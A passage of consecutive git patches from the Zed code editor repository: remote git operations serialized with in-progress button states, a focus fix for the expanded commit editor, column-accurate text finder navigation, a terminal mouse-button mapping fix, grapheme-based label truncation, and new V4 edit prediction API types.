+        if !self.start_remote_operation(RemoteOperationKind::Push, cx) {
+            return;
+        }
+
         telemetry::event!("Git Pushed");
-        let branch = branch.clone();
 
         let options = if force_push {
             Some(PushOptions::Force)
@@ -3332,6 +3360,10 @@ impl GitPanel {
         let remote = self.get_remote(select_remote, true, window, cx);
 
         cx.spawn_in(window, async move |this, cx| {
+            let _clear_pending_remote_operation = cx.on_drop(&this, |this, cx| {
+                this.clear_remote_operation(cx);
+            });
+
             let remote = match remote.await {
                 Ok(Some(remote)) => remote,
                 Ok(None) => {
@@ -3508,6 +3540,25 @@ impl GitPanel {
         !self.project.read(cx).is_via_collab()
     }
 
+    fn start_remote_operation(
+        &mut self,
+        kind: RemoteOperationKind,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        if self.pending_remote_operation.is_some() {
+            return false;
+        }
+
+        self.pending_remote_operation = Some(kind);
+        cx.notify();
+        true
+    }
+
+    fn clear_remote_operation(&mut self, cx: &mut Context<Self>) {
+        self.pending_remote_operation.take();
+        cx.notify();
+    }
+
     fn get_remote(
         &mut self,
         always_select: bool,
@@ -4921,6 +4972,7 @@ impl GitPanel {
                         &branch,
                         focus_handle,
                         true,
+                        self.pending_remote_operation,
                     ))
                 })
                 .into_any_element(),
@@ -8984,6 +9036,48 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_remote_operation_serialization(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+            }),
+        )
+        .await;
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |mw, _| mw.workspace().clone())
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+        let panel = workspace.update_in(cx, GitPanel::new);
+
+        panel.update(cx, |panel, cx| {
+            // The first remote operation starts and records its kind, which the
+            // button uses to render an "in progress" tooltip.
+            assert!(panel.start_remote_operation(RemoteOperationKind::Fetch, cx));
+            assert!(matches!(
+                panel.pending_remote_operation,
+                Some(RemoteOperationKind::Fetch)
+            ));
+
+            // A second remote operation is refused while one is pending, even a
+            // different kind: we serialize all remote ops.
+            assert!(!panel.start_remote_operation(RemoteOperationKind::Push, cx));
+
+            // Clearing the pending operation re-opens the gate.
+            panel.clear_remote_operation(cx);
+            assert!(panel.pending_remote_operation.is_none());
+            assert!(panel.start_remote_operation(RemoteOperationKind::Pull, cx));
+        });
+    }
+
     #[gpui::test]
     async fn test_tree_view_without_status_grouping_combines_statuses(cx: &mut TestAppContext) {
         init_test(cx);
diff --git a/crates/git_ui/src/git_ui.rs b/crates/git_ui/src/git_ui.rs
index b508ae5257ee07..c221b8814e2159 100644
--- a/crates/git_ui/src/git_ui.rs
+++ b/crates/git_ui/src/git_ui.rs
@@ -32,7 +32,7 @@ use zed_actions;
 
 use crate::{
     commit_view::CommitView,
-    git_panel::{GitPanel, GitStatusEntry},
+    git_panel::{GitPanel, GitStatusEntry, RemoteOperationKind},
     solo_diff_view::SoloDiffView,
     text_diff_view::TextDiffView,
 };
@@ -764,6 +764,7 @@ fn render_remote_button(
     branch: &Branch,
     keybinding_target: Option<FocusHandle>,
     show_fetch_button: bool,
+    in_progress_operation: Option<RemoteOperationKind>,
 ) -> Option<impl IntoElement> {
     let id = id.into();
     let upstream = branch.upstream.as_ref();
@@ -772,20 +773,24 @@ fn render_remote_button(
             tracking: UpstreamTracking::Tracked(UpstreamTrackingStatus { ahead, behind }),
             ..
         }) => match (*ahead, *behind) {
-            (0, 0) if show_fetch_button => {
-                Some(remote_button::render_fetch_button(keybinding_target, id))
-            }
+            (0, 0) if show_fetch_button => Some(remote_button::render_fetch_button(
+                keybinding_target,
+                id,
+                in_progress_operation,
+            )),
             (0, 0) => None,
             (ahead, 0) => Some(remote_button::render_push_button(
                 keybinding_target,
                 id,
                 ahead,
+                in_progress_operation,
             )),
             (ahead, behind) => Some(remote_button::render_pull_button(
                 keybinding_target,
                 id,
                 ahead,
                 behind,
+                in_progress_operation,
             )),
         },
         Some(Upstream {
@@ -794,22 +799,25 @@ fn render_remote_button(
         }) => Some(remote_button::render_republish_button(
             keybinding_target,
             id,
+            in_progress_operation,
+        )),
+        None => Some(remote_button::render_publish_button(
+            keybinding_target,
+            id,
+            in_progress_operation,
         )),
-        None => Some(remote_button::render_publish_button(keybinding_target, id)),
     }
 }
 
 mod remote_button {
+    use crate::git_panel::RemoteOperationKind;
     use gpui::{Action, Anchor, AnyView, ClickEvent, FocusHandle};
-    use ui::{
-        App, ButtonCommon, Clickable, ContextMenu, ElementId, FluentBuilder, Icon, IconName,
-        IconSize, IntoElement, Label, LabelCommon, LabelSize, LineHeightStyle, ParentElement,
-        PopoverMenu, SharedString, SplitButton, Styled, Tooltip, Window, div, h_flex, rems,
-    };
+    use ui::{CommonAnimationExt, ContextMenu, PopoverMenu, SplitButton, Tooltip, prelude::*};
 
     pub fn render_fetch_button(
         keybinding_target: Option<FocusHandle>,
         id: SharedString,
+        in_progress_operation: Option<RemoteOperationKind>,
     ) -> SplitButton {
         split_button(
             id,
@@ -818,6 +826,7 @@ mod remote_button {
             0,
             Some(IconName::ArrowCircle),
             keybinding_target.clone(),
+            in_progress_operation,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Fetch), cx);
             },
@@ -837,6 +846,7 @@ mod remote_button {
         keybinding_target: Option<FocusHandle>,
         id: SharedString,
         ahead: u32,
+        in_progress_operation: Option<RemoteOperationKind>,
     ) -> SplitButton {
         split_button(
             id,
@@ -845,6 +855,7 @@ mod remote_button {
             0,
             None,
             keybinding_target.clone(),
+            in_progress_operation,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Push), cx);
             },
@@ -865,6 +876,7 @@ mod remote_button {
         id: SharedString,
         ahead: u32,
         behind: u32,
+        in_progress_operation: Option<RemoteOperationKind>,
     ) -> SplitButton {
         split_button(
             id,
@@ -873,6 +885,7 @@ mod remote_button {
             behind as usize,
             None,
             keybinding_target.clone(),
+            in_progress_operation,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Pull), cx);
             },
@@ -891,6 +904,7 @@ mod remote_button {
     pub fn render_publish_button(
         keybinding_target: Option<FocusHandle>,
         id: SharedString,
+        in_progress_operation: Option<RemoteOperationKind>,
     ) -> SplitButton {
         split_button(
             id,
@@ -899,6 +913,7 @@ mod remote_button {
             0,
             Some(IconName::ExpandUp),
             keybinding_target.clone(),
+            in_progress_operation,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Push), cx);
             },
@@ -917,6 +932,7 @@ mod remote_button {
     pub fn render_republish_button(
         keybinding_target: Option<FocusHandle>,
         id: SharedString,
+        in_progress_operation: Option<RemoteOperationKind>,
     ) -> SplitButton {
         split_button(
             id,
@@ -925,6 +941,7 @@ mod remote_button {
             0,
             Some(IconName::ExpandUp),
             keybinding_target.clone(),
+            in_progress_operation,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Push), cx);
             },
@@ -940,6 +957,14 @@ mod remote_button {
         )
     }
 
+    fn in_progress_tooltip(operation: RemoteOperationKind) -> &'static str {
+        match operation {
+            RemoteOperationKind::Fetch => "Fetch in Progress…",
+            RemoteOperationKind::Pull => "Pull in Progress…",
+            RemoteOperationKind::Push => "Push in Progress…",
+        }
+    }
+
     fn git_action_tooltip(
         label: impl Into<SharedString>,
         action: &dyn Action,
@@ -999,6 +1024,7 @@ mod remote_button {
         behind_count: usize,
         left_icon: Option<IconName>,
         keybinding_target: Option<FocusHandle>,
+        in_progress_operation: Option<RemoteOperationKind>,
         left_on_click: impl Fn(&ClickEvent, &mut Window, &mut App) + 'static,
         tooltip: impl Fn(&mut Window, &mut App) -> AnyView + 'static,
     ) -> SplitButton {
@@ -1017,12 +1043,14 @@ mod remote_button {
         }
 
         let should_render_counts = left_icon.is_none() && (ahead_count > 0 || behind_count > 0);
+        let is_in_progress = in_progress_operation.is_some();
 
         let left = ui::ButtonLike::new_rounded_left(ElementId::Name(
             format!("split-button-left-{}", id).into(),
         ))
         .layer(ui::ElevationIndex::ModalSurface)
         .size(ui::ButtonSize::Compact)
+        .disabled(is_in_progress)
         .when(should_render_counts, |this| {
             this.child(
                 h_flex()
@@ -1038,19 +1066,33 @@ mod remote_button {
             )
         })
         .when_some(left_icon, |this, left_icon| {
-            this.child(
-                h_flex()
-                    .ml_neg_0p5()
-                    .child(Icon::new(left_icon).size(IconSize::XSmall)),
-            )
+            this.map(|this| {
+                if is_in_progress {
+                    this.child(
+                        Icon::new(IconName::LoadCircle)
+                            .size(IconSize::XSmall)
+                            .color(Color::Disabled)
+                            .with_rotate_animation(2),
+                    )
+                } else {
+                    this.child(Icon::new(left_icon).size(IconSize::XSmall))
+                }
+            })
         })
         .child(
-            div()
-                .child(Label::new(left_label).size(LabelSize::Small))
+            Label::new(left_label)
+                .size(LabelSize::Small)
+                .when(is_in_progress, |this| this.color(Color::Disabled))
                 .mr_0p5(),
         )
         .on_click(left_on_click)
-        .tooltip(tooltip);
+        .tooltip(move |window, cx| {
+            if let Some(operation) = in_progress_operation {
+                Tooltip::simple(in_progress_tooltip(operation), cx)
+            } else {
+                tooltip(window, cx)
+            }
+        });
 
         let right = render_git_action_menu(
             ElementId::Name(format!("split-button-right-{}", id).into()),

From 25ea3395528afa9abc293ed6363029bebd767751 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Thu, 25 Jun 2026 14:18:47 +0100
Subject: [PATCH 098/772] git_panel: Focus back on commit editor when expanded
 (#59901)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Update the focus handle returned by the `GitPanel::focus_handle` method
in order to ensure that, if the commit editor is currently expanded,
using the `git_panel::ToggleFocus` action will correctly focus back on
the expanded editor, rather than on the panel.

# Objective

When using the expanded commit editor, if one focuses away from the
panel and then uses the `git panel: toggle focus` action in order to
focus back on the panel, the focus will land on the panel, which is now
being rendered behind the commit editor.

## Solution

Update the focus handle returned by the `GitPanel` to take into
consideration whether the commit editor is expanded and, in that case,
return the editor's focus handle instead.

## Testing

Tested both manually as well as through a newly introduced test –
`git_ui::git_panel::tests::test_focus_handle`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/0e2647f3-2835-485f-8f01-2128d2de6b8e
</details>

<details>
  <summary>After</summary>


https://github.com/user-attachments/assets/cc77fae7-e76c-4389-82b0-f4e7ec8258d7
</details>

---

Release Notes:

- Fixed `git panel: toggle focus` to focus back on the commit editor in
case it is expanded.
---
 crates/git_ui/src/git_panel.rs | 43 +++++++++++++++++++++++++++++++++-
 1 file changed, 42 insertions(+), 1 deletion(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index de75268eb48bb9..d22220af2a28de 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -7151,7 +7151,7 @@ impl Render for GitPanel {
 
 impl Focusable for GitPanel {
     fn focus_handle(&self, cx: &App) -> gpui::FocusHandle {
-        if self.entries.is_empty() {
+        if self.entries.is_empty() || self.commit_editor_expanded {
             self.commit_editor.focus_handle(cx)
         } else {
             self.focus_handle.clone()
@@ -9984,4 +9984,45 @@ mod tests {
             ));
         });
     }
+
+    #[gpui::test]
+    async fn test_focus_handle(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let (_project, workspace, panel, mut cx) = setup_git_panel_with_changes(
+            cx,
+            json!({
+                ".git": {},
+                "tracked": "tracked\n",
+            }),
+            &[("tracked", StatusCode::Modified)],
+        )
+        .await;
+
+        workspace.update_in(&mut cx, |workspace, window, cx| {
+            workspace.add_panel(panel.clone(), window, cx);
+        });
+
+        // With changes present and the editor not expanded, the panel's own
+        // focus handle should be returned, in order for
+        // `git_panel::ToggleFocus` to focus on the panel itself.
+        panel.update_in(&mut cx, |panel, _window, cx| {
+            assert!(!panel.entries.is_empty());
+            assert!(!panel.commit_editor_expanded);
+            assert_eq!(panel.focus_handle(cx), panel.focus_handle.clone());
+        });
+
+        // Expand the editor so we can later confirm that toggling focus
+        // actually focuses on the commit editor, seeing as it has been
+        // expanded.
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.toggle_fill_commit_editor(&ToggleFillCommitEditor, window, cx);
+            assert!(panel.commit_editor_expanded);
+        });
+
+        cx.dispatch_action(super::ToggleFocus);
+        panel.update_in(&mut cx, |panel, window, cx| {
+            assert!(panel.commit_editor.focus_handle(cx).is_focused(window));
+        });
+    }
 }

From 99c3d17da661818e8c2e66f97da2109d886e6165 Mon Sep 17 00:00:00 2001
From: ozacod <47009516+ozacod@users.noreply.github.com>
Date: Thu, 25 Jun 2026 16:21:52 +0300
Subject: [PATCH 099/772] text_finder: Open match on the right column (#59840)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

When opening a result from the text finder navigate to the exact match
position the same way project search already does. Previously the text
finder opened the file at the start of the matched line, while project
search lands the cursor on the start of the match (correct line and
column).

## Solution

`go_to_singleton_buffer_point` now uses
`SearchMatch::relative_range.start `as the column instead of 0.

## Testing

- Manual: search in the text finder → open a result whose match starts
mid-line → cursor lands on the start of the match. Verified for both
opening in the current pane and opening in a split.

Release Notes:

- Improved text finder to open files at the matched column

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
---
 crates/search/src/text_finder/delegate.rs | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/crates/search/src/text_finder/delegate.rs b/crates/search/src/text_finder/delegate.rs
index 5fb075d314fa7a..0b69e49d044b61 100644
--- a/crates/search/src/text_finder/delegate.rs
+++ b/crates/search/src/text_finder/delegate.rs
@@ -413,6 +413,7 @@ impl Delegate {
         };
         let path = selected_match.path.clone();
         let line_number = selected_match.line_number;
+        let column = selected_match.relative_range.start as u32;
         let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
             return;
         };
@@ -426,7 +427,11 @@ impl Delegate {
                 active_editor
                     .downgrade()
                     .update_in(cx, |editor, window, cx| {
-                        editor.go_to_singleton_buffer_point(text::Point::new(row, 0), window, cx);
+                        editor.go_to_singleton_buffer_point(
+                            text::Point::new(row, column),
+                            window,
+                            cx,
+                        );
                     })
                     .log_err();
             }
@@ -753,6 +758,7 @@ impl PickerDelegate for Delegate {
 
         let path = selected_match.path.clone();
         let line_number = selected_match.line_number;
+        let column = selected_match.relative_range.start as u32;
 
         let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
             return;
@@ -769,7 +775,11 @@ impl PickerDelegate for Delegate {
                 active_editor
                     .downgrade()
                     .update_in(cx, |editor, window, cx| {
-                        editor.go_to_singleton_buffer_point(text::Point::new(row, 0), window, cx);
+                        editor.go_to_singleton_buffer_point(
+                            text::Point::new(row, column),
+                            window,
+                            cx,
+                        );
                     })
                     .log_err();
             }

From e6ea825ffabb19a72a3b7b2276471343e6ff7fac Mon Sep 17 00:00:00 2001
From: he-thinks <68790430+he-thinks@users.noreply.github.com>
Date: Thu, 25 Jun 2026 16:24:07 +0300
Subject: [PATCH 100/772] terminal: Swap right and middle mouse button mappings
 (#59844)

# Objective

`MouseButton::Right` was mapped to `MouseButtonCode::MiddleButton` and
vice versa, causing right-click and middle-click to behave as each other
in the terminal.

## Solution

Swapped the two arms of the match expression in
`crates/terminal/src/mappings/mouse.rs`.

## Testing

Tested manually: opened a terminal pane, verified that right-click and
middle-click now produce the correct events.

Tested on: Windows

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards (UX/UI and icon
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed right-click and middle-click being swapped in the terminal.
---
 crates/terminal/src/mappings/mouse.rs | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/terminal/src/mappings/mouse.rs b/crates/terminal/src/mappings/mouse.rs
index 7a8830347536ca..fa5edaee25697e 100644
--- a/crates/terminal/src/mappings/mouse.rs
+++ b/crates/terminal/src/mappings/mouse.rs
@@ -52,8 +52,8 @@ impl MouseButtonCode {
     fn from_button(e: MouseButton) -> Self {
         match e {
             gpui::MouseButton::Left => MouseButtonCode::LeftButton,
-            gpui::MouseButton::Right => MouseButtonCode::MiddleButton,
-            gpui::MouseButton::Middle => MouseButtonCode::RightButton,
+            gpui::MouseButton::Middle => MouseButtonCode::MiddleButton,
+            gpui::MouseButton::Right => MouseButtonCode::RightButton,
             gpui::MouseButton::Navigate(_) => MouseButtonCode::Other,
         }
     }

From b6e1e2788771fec810b5573ca900cb76250014e8 Mon Sep 17 00:00:00 2001
From: DamonXue <damonxue2@gmail.com>
Date: Thu, 25 Jun 2026 21:44:22 +0800
Subject: [PATCH 101/772] agent: Truncate display name using grapheme clusters
 in config option selector (#59898)

This pull request updates how long configuration option names are
displayed in the UI to better handle Unicode characters, ensuring that
names are truncated by grapheme clusters (user-perceived characters)
rather than bytes or code points. This prevents visual glitches with
multi-codepoint characters like emojis or accented letters. The main
changes are:

**Unicode handling improvements:**

* Added the `unicode-segmentation` crate as a workspace dependency in
`Cargo.toml` to support grapheme-aware string operations.
* Updated import statements in `config_options.rs` to include
`unicode_segmentation::UnicodeSegmentation`.

**UI display logic:**

* Changed the truncation logic for configuration option display names in
`ConfigOptionSelector` to use `.graphemes(true).take(32)` instead of
slicing bytes, ensuring proper handling of Unicode graphemes.

---

Release Notes:

- Agent: Made label truncation of configuration options in the agent
panel more robust against non-single-byte characters like emojis and
others.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 Cargo.lock                            | 1 +
 crates/agent_ui/Cargo.toml            | 1 +
 crates/agent_ui/src/config_options.rs | 9 ++++++---
 3 files changed, 8 insertions(+), 3 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 6f0590bd0ccb75..8aeffc53c8f28d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -546,6 +546,7 @@ dependencies = [
  "tree-sitter-md",
  "ui",
  "ui_input",
+ "unicode-segmentation",
  "unindent",
  "url",
  "util",
diff --git a/crates/agent_ui/Cargo.toml b/crates/agent_ui/Cargo.toml
index bd1ed2b0ff9aeb..8b25804d724350 100644
--- a/crates/agent_ui/Cargo.toml
+++ b/crates/agent_ui/Cargo.toml
@@ -108,6 +108,7 @@ theme_settings.workspace = true
 time.workspace = true
 ui.workspace = true
 ui_input.workspace = true
+unicode-segmentation.workspace = true
 url.workspace = true
 util.workspace = true
 uuid.workspace = true
diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index 9d34aedede24d8..405b6c64360568 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -18,6 +18,7 @@ use ui::{
     ElevationIndex, IconButton, KeyBinding, ListItem, ListItemSpacing, PopoverMenuHandle, Tooltip,
     prelude::*,
 };
+use unicode_segmentation::UnicodeSegmentation;
 use util::ResultExt as _;
 use zed_actions::agent::ToggleModelSelector;
 
@@ -364,10 +365,12 @@ impl ConfigOptionSelector {
         };
 
         let value_name = self.current_value_name();
-        let display_name = if value_name.len() > 33 {
-            format!("{}…", &value_name[..32])
+        let mut graphemes = value_name.graphemes(true);
+        let truncated = graphemes.by_ref().take(32).collect::<String>();
+        let display_name = if graphemes.next().is_some() {
+            format!("{truncated}…")
         } else {
-            value_name
+            truncated
         };
 
         Button::new(

From 99129bb29ef77fed5f88741948046cec57a6ff9a Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Thu, 25 Jun 2026 10:07:41 -0400
Subject: [PATCH 102/772] zeta_prompt: Add V4 edit prediction API types
 (#59869)

# Objective

Part of EP-10
Closes EP-118

- Describe the objective or issue this PR addresses.
- If you're fixing a specific issue, use "Fixes #X" for each issue as
[described in the GitHub
docs](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword).

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- N/A or Added/Fixed/Improved ...

Co-authored-by: Nbarry <nbarry@zed.dev>
---
 .../cloud_llm_client/src/cloud_llm_client.rs  |   2 +
 .../cloud_llm_client/src/predict_edits_v3.rs  |   2 +-
 .../cloud_llm_client/src/predict_edits_v4.rs  |  15 +
 crates/edit_prediction/src/edit_prediction.rs |   7 +-
 .../src/edit_prediction_tests.rs              |   6 +-
 crates/edit_prediction/src/example_spec.rs    |  14 +-
 crates/edit_prediction/src/fim.rs             |  10 +-
 crates/edit_prediction/src/mercury.rs         |  14 +-
 crates/edit_prediction/src/prediction.rs      |  19 +-
 crates/edit_prediction/src/zeta.rs            |  16 +-
 crates/edit_prediction_cli/src/example.rs     |   4 +-
 .../edit_prediction_cli/src/format_prompt.rs  |  14 +-
 .../edit_prediction_cli/src/load_project.rs   |   4 +-
 .../edit_prediction_cli/src/pull_examples.rs  |  26 +-
 crates/edit_prediction_cli/src/score.rs       |   6 +-
 .../edit_prediction_metrics/src/reversal.rs   |   8 +-
 .../src/rate_prediction_modal.rs              | 204 +++++---
 crates/zeta_prompt/src/hashed_regions.rs      |  30 +-
 crates/zeta_prompt/src/udiff.rs               |  91 ++--
 crates/zeta_prompt/src/zeta_prompt.rs         | 474 +++++++++++++++---
 20 files changed, 692 insertions(+), 274 deletions(-)
 create mode 100644 crates/cloud_llm_client/src/predict_edits_v4.rs

diff --git a/crates/cloud_llm_client/src/cloud_llm_client.rs b/crates/cloud_llm_client/src/cloud_llm_client.rs
index 212f8c548a0bd7..152b84679da84c 100644
--- a/crates/cloud_llm_client/src/cloud_llm_client.rs
+++ b/crates/cloud_llm_client/src/cloud_llm_client.rs
@@ -1,5 +1,7 @@
 #[cfg(feature = "predict-edits")]
 pub mod predict_edits_v3;
+#[cfg(feature = "predict-edits")]
+pub mod predict_edits_v4;
 
 use std::str::FromStr;
 use std::sync::Arc;
diff --git a/crates/cloud_llm_client/src/predict_edits_v3.rs b/crates/cloud_llm_client/src/predict_edits_v3.rs
index 77cdab33feef46..2ffb32840d6336 100644
--- a/crates/cloud_llm_client/src/predict_edits_v3.rs
+++ b/crates/cloud_llm_client/src/predict_edits_v3.rs
@@ -31,7 +31,7 @@ pub struct RawCompletionRequest {
 #[derive(Debug, Serialize, Deserialize)]
 pub struct PredictEditsV3Request {
     #[serde(flatten)]
-    pub input: zeta_prompt::ZetaPromptInput,
+    pub input: zeta_prompt::Zeta2PromptInput,
 }
 
 #[derive(Debug, Deserialize, Serialize)]
diff --git a/crates/cloud_llm_client/src/predict_edits_v4.rs b/crates/cloud_llm_client/src/predict_edits_v4.rs
new file mode 100644
index 00000000000000..62f58f00bfe9b6
--- /dev/null
+++ b/crates/cloud_llm_client/src/predict_edits_v4.rs
@@ -0,0 +1,15 @@
+use serde::{Deserialize, Serialize};
+
+#[derive(Debug, Serialize, Deserialize)]
+pub struct PredictEditsV4Request {
+    #[serde(flatten)]
+    pub input: zeta_prompt::Zeta3PromptInput,
+}
+
+#[derive(Debug, Deserialize, Serialize)]
+pub struct PredictEditsV4Response {
+    pub request_id: String,
+    pub patch: String,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub model_version: Option<String>,
+}
diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index 5e4cdf6da79a6f..f0520bdf15fff5 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -59,7 +59,7 @@ use std::rc::Rc;
 use text::{AnchorRangeExt, Edit};
 use workspace::{AppState, Workspace};
 use zeta_prompt::ContextSource;
-use zeta_prompt::{ZetaFormat, ZetaPromptInput};
+use zeta_prompt::{Zeta2PromptInput, ZetaFormat};
 
 use std::mem;
 use std::ops::Range;
@@ -99,9 +99,8 @@ use crate::license_detection::LicenseDetectionWatcher;
 use crate::mercury::Mercury;
 pub use crate::metrics::{KeptRateResult, compute_kept_rate};
 use crate::onboarding_modal::ZedPredictModal;
-pub use crate::prediction::EditPrediction;
-pub use crate::prediction::EditPredictionId;
 use crate::prediction::EditPredictionResult;
+pub use crate::prediction::{EditPrediction, EditPredictionId, EditPredictionInputs};
 pub use language_model::ApiKeyState;
 pub use telemetry_events::EditPredictionRating;
 pub use zed_edit_prediction_delegate::ZedEditPredictionDelegate;
@@ -2898,7 +2897,7 @@ impl EditPredictionStore {
     }
 
     pub(crate) async fn send_v3_request(
-        input: ZetaPromptInput,
+        input: Zeta2PromptInput,
         preferred_experiment: Option<String>,
         client: Arc<Client>,
         llm_token: LlmApiToken,
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index 7e4ec8abef414f..9a6c47ffa2cc01 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -41,7 +41,7 @@ use util::{
 };
 use uuid::Uuid;
 use workspace::{AppState, CollaboratorId, MultiWorkspace};
-use zeta_prompt::ZetaPromptInput;
+use zeta_prompt::Zeta2PromptInput;
 
 use crate::udiff::apply_diff_to_string;
 use crate::{
@@ -2699,7 +2699,7 @@ async fn test_edit_prediction_basic_interpolation(cx: &mut TestAppContext) {
         buffer: buffer.clone(),
         snapshot: cx.read(|cx| buffer.read(cx).snapshot()),
         id: EditPredictionId("the-id".into()),
-        inputs: ZetaPromptInput {
+        inputs: EditPredictionInputs::V2(Zeta2PromptInput {
             events: Default::default(),
             related_files: Default::default(),
             active_buffer_diagnostics: vec![],
@@ -2712,7 +2712,7 @@ async fn test_edit_prediction_basic_interpolation(cx: &mut TestAppContext) {
             in_open_source_repo: false,
             can_collect_data: false,
             repo_url: None,
-        },
+        }),
         model_version: None,
         trigger: PredictEditsRequestTrigger::Other,
     };
diff --git a/crates/edit_prediction/src/example_spec.rs b/crates/edit_prediction/src/example_spec.rs
index c610b777dca0a8..a0bb6bd2ff57f9 100644
--- a/crates/edit_prediction/src/example_spec.rs
+++ b/crates/edit_prediction/src/example_spec.rs
@@ -4,11 +4,10 @@ use std::{borrow::Cow, fmt::Write as _, mem, path::Path, sync::Arc};
 use telemetry_events::EditPredictionRating;
 
 pub use zeta_prompt::udiff::{
-    CURSOR_POSITION_MARKER, encode_cursor_in_patch, extract_cursor_from_patch,
+    CURSOR_POSITION_MARKER, INLINE_CURSOR_MARKER, encode_cursor_in_patch, extract_cursor_from_patch,
 };
 
 use crate::data_collection::format_cursor_excerpt;
-pub const INLINE_CURSOR_MARKER: &str = "<|user_cursor|>";
 
 /// Maximum cursor file size to capture (64KB).
 /// Files larger than this will not have their content captured,
@@ -494,8 +493,7 @@ impl ExampleSpec {
     /// to the start of the hunk.
     ///
     /// In the serialized representation of this example, the cursor position is represented
-    /// using a comment line in the diff, beginning with `#`, and containing a `[CURSOR_POSITION]`
-    /// marker with the same format as the [`Self::cursor_excerpt`].
+    /// using an inline `<|user_cursor|>` marker in an added diff line.
     pub fn expected_patches_with_cursor_positions(&self) -> Vec<(String, Option<usize>)> {
         self.expected_patches
             .iter()
@@ -784,8 +782,7 @@ mod tests {
             +// prints a greeting
              fn main() {
             -    println!("hi");
-            +    println!("hello, {}", );
-            #                          ^[CURSOR_POSITION]
+            +    println!("hello, {}", <|user_cursor|>);
                  let x = 42;
              }
         "#}
@@ -814,8 +811,7 @@ mod tests {
             +++ b/test.rs
             @@ -1,2 +1,2 @@
             -fn old() {}
-            +fn new_name() {}
-            #       ^[CURSOR_POSITION]
+            +fn new_<|user_cursor|>name() {}
         "#};
 
         let cursor_offset = "fn new_name() {}".find("name").unwrap();
@@ -826,7 +822,7 @@ mod tests {
         assert_eq!(
             encoded_once
                 .lines()
-                .filter(|line| line.contains(CURSOR_POSITION_MARKER))
+                .filter(|line| line.contains(INLINE_CURSOR_MARKER))
                 .count(),
             1
         );
diff --git a/crates/edit_prediction/src/fim.rs b/crates/edit_prediction/src/fim.rs
